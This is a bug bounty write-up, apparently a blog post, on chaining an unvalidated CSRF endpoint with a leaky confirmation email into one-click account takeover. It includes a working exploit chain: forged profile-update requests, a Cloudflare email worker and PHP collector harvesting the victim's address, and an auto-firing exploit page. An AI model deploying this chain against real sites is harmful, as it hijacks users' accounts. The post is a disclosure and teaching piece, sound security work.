June 3, 2026
A Unique Case of One-Click Account Takeover via CSRF Chain
Hello everyone! Today I want to walk through an account takeover vulnerability I found recently. At its core, the issue was a CSRF…
n0body
6 min read
Hello everyone! Today I want to walk through an account takeover vulnerability I found recently. At its core, the issue was a CSRF vulnerability — but not the classic kind you might expect. What made it interesting was the chain of obstacles I had to work through, each one revealing a new layer of the attack surface.
Finding the Vulnerable Endpoint
During reconnaissance on the target, I came across a login page I hadn't seen before. This is a good reminder: no matter how thoroughly you've explored a target, there are almost always hidden paths, forgotten endpoints, and interesting parameters waiting to be found.
After registering, I noticed that usernames were not user-controlled and had to follow a specific format:
xy/[4 DIGITS]
Example: xy/1337xy/[4 DIGITS]
Example: xy/1337This detail would become important later.
After logging in, I identified an endpoint responsible for updating profile information:
POST /update_profile HTTP/1.1
Host: target.com
Cookie: [COOKIE_VALUE]
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 306
fake_login=&pw_neu1=&pw_neu2=&question=Favorite+movie&answer=test&email=user@gmail.com&_sessionmarker=xYYOadAOkMzS2&_ADVcgi=advcgi_542bd2yya76b569860a0be8d776ae1de&_retval=POST /update_profile HTTP/1.1
Host: target.com
Cookie: [COOKIE_VALUE]
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 306
fake_login=&pw_neu1=&pw_neu2=&question=Favorite+movie&answer=test&email=user@gmail.com&_sessionmarker=xYYOadAOkMzS2&_ADVcgi=advcgi_542bd2yya76b569860a0be8d776ae1de&_retval=This request updated sensitive account information including password and email address. The first thing that caught my attention: there was that there is no field for the current password. In most applications, changing a password requires the user to first confirm their existing one. While not a substitute for CSRF protection, it does add a meaningful layer of defense. Here, changing the password only required supplying a new value twice via pw_neu1 and pw_neu2 no current password verification whatsoever.
The thought was immediate:
If this endpoint is vulnerable to CSRF, an attacker could change both the victim's password and email address with a single click.
At first glance, the _ADVcgi and _sessionmarker parameters looked like anti-CSRF tokens. A closer look told a different story.
1. The Anti-CSRF Parameters
The two suspicious parameters were:
_sessionmarker_ADVcgi
My first test whenever I see parameters like these: remove or blank them out and observe how the server responds.
Original request:
POST /update_profile HTTP/1.1
Host: target.com
Cookie: [COOKIE_VALUE]
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 306
fake_login=&pw_neu1=&pw_neu2=&question=Favorite+movie&answer=test&email=user@gmail.com&_sessionmarker=xYYOadAOkMzS2&_ADVcgi=advcgi_542bd2yya76b569860a0be8d776ae1de&_retval=POST /update_profile HTTP/1.1
Host: target.com
Cookie: [COOKIE_VALUE]
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 306
fake_login=&pw_neu1=&pw_neu2=&question=Favorite+movie&answer=test&email=user@gmail.com&_sessionmarker=xYYOadAOkMzS2&_ADVcgi=advcgi_542bd2yya76b569860a0be8d776ae1de&_retval=Modified request:
POST /update_profile HTTP/1.1
Host: target.com
Cookie: [COOKIE_VALUE]
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 306
fake_login=&pw_neu1=&pw_neu2=&question=Favorite+movie&answer=test&email=user@gmail.com&_sessionmarker=&_ADVcgi=&_retval=POST /update_profile HTTP/1.1
Host: target.com
Cookie: [COOKIE_VALUE]
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 306
fake_login=&pw_neu1=&pw_neu2=&question=Favorite+movie&answer=test&email=user@gmail.com&_sessionmarker=&_ADVcgi=&_retval=The request was processed successfully! Neither parameter was being validated server-side. They gave the appearance of CSRF protection while enforcing nothing. There were also no Origin or Referer header checks, and no Content-Type restrictions in place. The endpoint was vulnerable to CSRF.
2. An Unexpected Obstacle
With CSRF confirmed, the next step was assessing impact. My initial assumption was straightforward: forge a request with a new password, trick the victim into submitting it, and take over the account.
POST /update_profile HTTP/1.1
Host: target.com
Cookie: [COOKIE_VALUE]
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 306
fake_login=&pw_neu1=AttackerPassword123!&pw_neu2=AttackerPassword123!&question=Favorite+movie&answer=test&email=user@gmail.com&_sessionmarker=xYYOadAOkMzS2&_ADVcgi=advcgi_542bd2yya76b569860a0be8d776ae1de&_retval=POST /update_profile HTTP/1.1
Host: target.com
Cookie: [COOKIE_VALUE]
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 306
fake_login=&pw_neu1=AttackerPassword123!&pw_neu2=AttackerPassword123!&question=Favorite+movie&answer=test&email=user@gmail.com&_sessionmarker=xYYOadAOkMzS2&_ADVcgi=advcgi_542bd2yya76b569860a0be8d776ae1de&_retval=At first glance, exploiting the vulnerability appeared straightforward. All I needed to do was supply a new password and email address, wrap the request inside an HTML form, and trick the victim into submitting it. Since the endpoint was vulnerable to CSRF, the attack seemed like it would result in an instant account takeover. So what could possibly go wrong?
During testing, I discovered that the application enforced an additional validation on the email parameter. If the value supplied did not match the user's current email address, the request behaved differently. The application had two possible execution paths:
Scenario A — Supplying the victim's current email:
email = victim@target.com
pw_neu1 = NewPassword123!
pw_neu2 = NewPassword123!
→ Password changed successfully. No email verification required.email = victim@target.com
pw_neu1 = NewPassword123!
pw_neu2 = NewPassword123!
→ Password changed successfully. No email verification required.Scenario B — Supplying a different email:
email = attacker@gmail.com
pw_neu1 = NewPassword123!
pw_neu2 = NewPassword123!
→ Confirmation link sent to the new email address.
→ Password NOT changed. Email only updates after confirmation.email = attacker@gmail.com
pw_neu1 = NewPassword123!
pw_neu2 = NewPassword123!
→ Confirmation link sent to the new email address.
→ Password NOT changed. Email only updates after confirmation.This was the obstacle. The password would only change if the request contained the victim's current email address — and without knowing that value, the attack fails.
To achieve account takeover, I now needed two additional pieces of information:
- The victim's current email address
- The victim's username (needed to log in after changing the password)
3. Leaking the Victim's Email and Username
While exploring the application's features as a normal user, I noticed something about the confirmation email sent when attempting to change an email address. The email body read:
Please now confirm the change of the email address (old_email_address@gmail.com) for the username [USERNAME_VALUE].
To confirm, open the following internet address (URL):
[CONFIRMATION LINK]Please now confirm the change of the email address (old_email_address@gmail.com) for the username [USERNAME_VALUE].
To confirm, open the following internet address (URL):
[CONFIRMATION LINK]Both the victim's current email address and username were leaked directly in the confirmation email body.
The problem was solved — but a new one emerged:
How do I perform the full attack with just a single click?
At this stage, the flow required two clicks from the victim:
- Victim clicks a link → confirmation email sent to attacker's address → attacker learns victim's email and username.
- Attacker crafts a second forged request with the victim's real email → victim clicks again → password changed.
Two clicks would cap severity at Medium. The goal was full automation in one click.
4. Automating Everything with a Single Click
I reached out to my friend mehdiparandin for any helps that I could get so credit to him for pointing out that Cloudflare's Email Routing feature can be used to programmatically forward and process incoming emails to your domain via a Worker.
Here's how to set it up:
Step 1: Add your domain to Cloudflare and configure it to use Cloudflare nameservers.
Step 2: Enable Email Routing:
- Go to your domain → Email → Email Routing
- Click Get Started — Cloudflare auto-creates the required MX records.
Step 3: Create a Cloudflare Email Worker with a catch-all rule.
Step 4: In the Worker's code editor, deploy the following:
export default {
async email(message, env, ctx) {
if (message.to === "attacker@domain.com") {
// Get the full raw email as text
const rawEmail = await new Response(message.raw).text();
// Prepare JSON payload
const payload = {
from: message.from,
to: message.to,
subject: message.headers.get("subject") || "",
raw: rawEmail,
};
// Send to your server via HTTPS POST
await fetch("https://domain.com/email.php", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify(payload)
});
} else {
message.setReject("Unknown address");
}
}
}export default {
async email(message, env, ctx) {
if (message.to === "attacker@domain.com") {
// Get the full raw email as text
const rawEmail = await new Response(message.raw).text();
// Prepare JSON payload
const payload = {
from: message.from,
to: message.to,
subject: message.headers.get("subject") || "",
raw: rawEmail,
};
// Send to your server via HTTPS POST
await fetch("https://domain.com/email.php", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify(payload)
});
} else {
message.setReject("Unknown address");
}
}
}Step 5: Create email.php on your server to receive and store incoming emails:
<?php
header('Content-Type: application/json');
$logFile = __DIR__ . '/emails.log';
// Check if this is a POST from Cloudflare Worker
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$input = file_get_contents("php://input");
$data = json_decode($input, true);
if (isset($data['raw'])) {
// Append email to log with separator
file_put_contents($logFile, "----- NEW EMAIL -----\n" . $data['raw'] . "\n", FILE_APPEND);
}
echo json_encode(['status' => 'ok']);
exit;
}
// If this is a GET (polled by frontend), return latest email
$lines = file($logFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
if (!$lines) {
echo json_encode(['email' => null]);
exit;
}
// Emails are separated by "----- NEW EMAIL -----"
$emails = array_reverse(explode("----- NEW EMAIL -----", implode("\n", $lines)));
$latestEmail = trim($emails[0] ?? '');
if (!$latestEmail) {
echo json_encode(['email' => null]);
exit;
}
// Decode quoted-printable = signs
$latestEmail = quoted_printable_decode($latestEmail);
// Extract email inside "Sie nun die ... E-Mail Adresse ([EMAIL ADDRESS])"
preg_match('/Sie nun die .*E-Mail Adresse \(([^)]+)\)/is', $latestEmail, $matches);
$email = $matches[1] ?? null;
echo json_encode(['email' => $email]);<?php
header('Content-Type: application/json');
$logFile = __DIR__ . '/emails.log';
// Check if this is a POST from Cloudflare Worker
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$input = file_get_contents("php://input");
$data = json_decode($input, true);
if (isset($data['raw'])) {
// Append email to log with separator
file_put_contents($logFile, "----- NEW EMAIL -----\n" . $data['raw'] . "\n", FILE_APPEND);
}
echo json_encode(['status' => 'ok']);
exit;
}
// If this is a GET (polled by frontend), return latest email
$lines = file($logFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
if (!$lines) {
echo json_encode(['email' => null]);
exit;
}
// Emails are separated by "----- NEW EMAIL -----"
$emails = array_reverse(explode("----- NEW EMAIL -----", implode("\n", $lines)));
$latestEmail = trim($emails[0] ?? '');
if (!$latestEmail) {
echo json_encode(['email' => null]);
exit;
}
// Decode quoted-printable = signs
$latestEmail = quoted_printable_decode($latestEmail);
// Extract email inside "Sie nun die ... E-Mail Adresse ([EMAIL ADDRESS])"
preg_match('/Sie nun die .*E-Mail Adresse \(([^)]+)\)/is', $latestEmail, $matches);
$email = $matches[1] ?? null;
echo json_encode(['email' => $email]);Note: Create an
emails.logfile in the same directory. In a real environment, protect this file from unauthorized access.
By now, you should be receiving any emails that are sent to your domain and be able to view them in emails.log file. The last piece of the puzzle is to write a JS file to search in the emails.log for the victim's email address and put it in the second request to achieve ATO.
5. Putting It All Together
The final piece is exploit.html which is a single page that chains everything together automatically:
<button id="openBtn">Click Me</button>
<script>
document.getElementById("openBtn").addEventListener("click", () => {
const child = window.open(
"https://target.com/update_profile?fake_login=&pw_neu1=NewPassword123!&pw_neu2=NewPassword123!&question=Favorite+movie&answer=test&email=attacker@domain.com&Senden&_sessionmarker=&_ADVcgi=&_retval=",
);
let attempts = 0;
const maxAttempts = 120;
const interval = setInterval(async () => {
attempts++;
try {
const res = await fetch("/email.php");
const text = await res.text();
const data = JSON.parse(text);
if (data.email) {
const finalUrl =
"https://target.com/update_profile?" +
"fake_login=" +
"&pw_neu1=NewPassword123!" +
"&pw_neu2=NewPassword123!" +
"&question=Favorite+movie" +
"&answer=test" +
"&email=" + encodeURIComponent(data.email) +
"&_sessionmarker=" +
"&_ADVcgi=" +
"&_retval=";
child.location = finalUrl;
clearInterval(interval);
}
} catch (err) {
}
if (attempts >= maxAttempts) {
clearInterval(interval);
console.log("Stopped polling (timeout).");
}
}, 500);
});
</script><button id="openBtn">Click Me</button>
<script>
document.getElementById("openBtn").addEventListener("click", () => {
const child = window.open(
"https://target.com/update_profile?fake_login=&pw_neu1=NewPassword123!&pw_neu2=NewPassword123!&question=Favorite+movie&answer=test&email=attacker@domain.com&Senden&_sessionmarker=&_ADVcgi=&_retval=",
);
let attempts = 0;
const maxAttempts = 120;
const interval = setInterval(async () => {
attempts++;
try {
const res = await fetch("/email.php");
const text = await res.text();
const data = JSON.parse(text);
if (data.email) {
const finalUrl =
"https://target.com/update_profile?" +
"fake_login=" +
"&pw_neu1=NewPassword123!" +
"&pw_neu2=NewPassword123!" +
"&question=Favorite+movie" +
"&answer=test" +
"&email=" + encodeURIComponent(data.email) +
"&_sessionmarker=" +
"&_ADVcgi=" +
"&_retval=";
child.location = finalUrl;
clearInterval(interval);
}
} catch (err) {
}
if (attempts >= maxAttempts) {
clearInterval(interval);
console.log("Stopped polling (timeout).");
}
}, 500);
});
</script>window.open is used instead of a traditional HTML form because two sequential navigation events are needed — something a standard form submission doesn't support. The approach was inspired by a technique shared here.
The Full Attack Flow
Here's the complete chain from start to finish:
- Attacker setup: Configure Cloudflare Email Routing, deploy the Email Worker, and host
email.php,emails.log, andexploit.htmlon a server. - Victim clicks the button on the attacker's page (
exploit.html). - First request fires — the
/update_profileendpoint is called with the attacker's email address. The application sends a confirmation email to the attacker's domain. - Cloudflare Worker receives the email and forwards it to
email.php, which parses and stores the victim's current email address and username from the email body. - The JS polls
email.phpevery 500ms. Once the victim's email is found, the second request is immediately constructed and sent via the already-open window. - Second request fires — this time with the victim's current email address and the attacker's chosen password. The password is changed successfully.
- Attacker logs in using the leaked username and the newly set password.
One click Full account takeover finally is achieved!
What started as a seemingly straightforward CSRF vulnerability turned into a multi-step chain requiring creative problem-solving at each step. The vulnerability was submitted and rewarded on Bugcrowd. Here are some takeaways that I would like to share with you:
- Always go deeper and never assume that you have covered everything on your target, there are always paths and parameters for you, ready to be found.
- Use AI as much as you can during your research but always remain creative and don't let AI take it from you.
- Follow mehdiparandin on X, he is one of most the brilliant and creative hackers I know.
That's it for today! Hope you enjoyed it and learnt something new.